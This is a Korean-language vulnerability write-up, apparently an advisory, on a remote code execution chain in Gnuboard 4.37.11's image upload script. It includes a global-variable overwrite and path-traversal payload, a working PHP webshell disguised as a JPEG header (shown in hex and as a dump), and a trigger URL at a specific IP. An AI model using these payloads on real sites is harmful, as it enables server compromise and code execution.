취약한 버전: 그누보드 4.37.11
해당 되는 파일: gnuboard4/cheditor5/imageUpload/upload.php
사용한 기술: 전역 변수 Overwrite, 웹쉘 업로드, 파일 삭제 취약점, 몇가지 Trick
종류: 원격 코드 실행
난이도: 중
파일 경로 : /gnuboard4/gnuboard4/cheditor5/imageUpload/upload.php
(1) common.php 의 @extract($_POST); 때문에 공격자는 자유롭게 $_FILES, $_SERVER 등의 글로벌 변수를 POST 요청을 통해 오버라이트 할 수 있습니다.
이미지의 크기가 지정되지 않았을 경우 파일을 삭제하는 루틴을 이용해서 업로드 디렉터리의 php 실행을 제한하는 분산 설정 파일을 삭제합니다. prefix 가 붙지만, PHP 일부 버전에서 상대 경로가 최적화 되는 트릭으로 이를 우회할 수 있었습니다.
send("_FILES[file][name]=bsaf/../../../foo.txt")
(2) magic_quotes_gpc 지정자는 임시파일 내용으로 포함된 쿼트에 대해 영향을 미치지 않기 때문에 "" 을 자유롭게 사용할 수 있습니다.
또한 getimagesize 변수는 단순히 이미지 파일의 특정 헤더값을 기반으로 크기를 판단하기 때문에 정상적인 이미지 형식이 아니더라도 통과가 가능합니다.
한편, 웹쉘 업로드시 코드 if (!preg_match("/.(gif|jpe?g|png)$/i", $savefile)) 에서 조건문은
gif, jpeg, png 등으로 끝나는 코드 만을 제한 합니다.
하지만 apache 웹서버는 도중에 php 가 들어가고 jpeg,png 처럼 알려진 확장자가 아닌 파일을 php 로 인식합니다.
test.php.fakepng 과 같은 파일은 php 로 파싱되어 우회가 가능합니다.
두가지 사실을 이용해서 해당 파일에 아래의 덤프를 내용으로 가지는 파일을 업로드 합니다.
웹쉘
[Hex]
FF D8 FF E0 00 10 4A 46 49 46 00 01 00 00 00 00 00 00 00 00 FF C0 00 41 3C 3F 70 68 70 20 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 2F 2F 65 22 2C 24 5F 47 45 54 5B 66 6F 6F 5D 2C 22 22 29 3B 3F 3E
[Dump]
yØya..JFIF..........yA.A<?php preg_replace("//e",$_GET[foo],"");?>
(3) 과정 (1) 에 의해 업로드 디렉토리에 대한 접근 제한은 해제 되었습니다.
IE 는 파일의 내용이 이미지의 헤더로 시작할 경우 무조건 이미지로 판단을 하기 때문에 크롬 등에서http://222.106.225.108/gnuboard4/gnuboard4/data/cheditor4/1406/test.php.fakepng?foo=phpinfo()
와 같이 파일이 업로드 된 경로에 접근할 경우 원격 코드를 실행할 수 있습니다.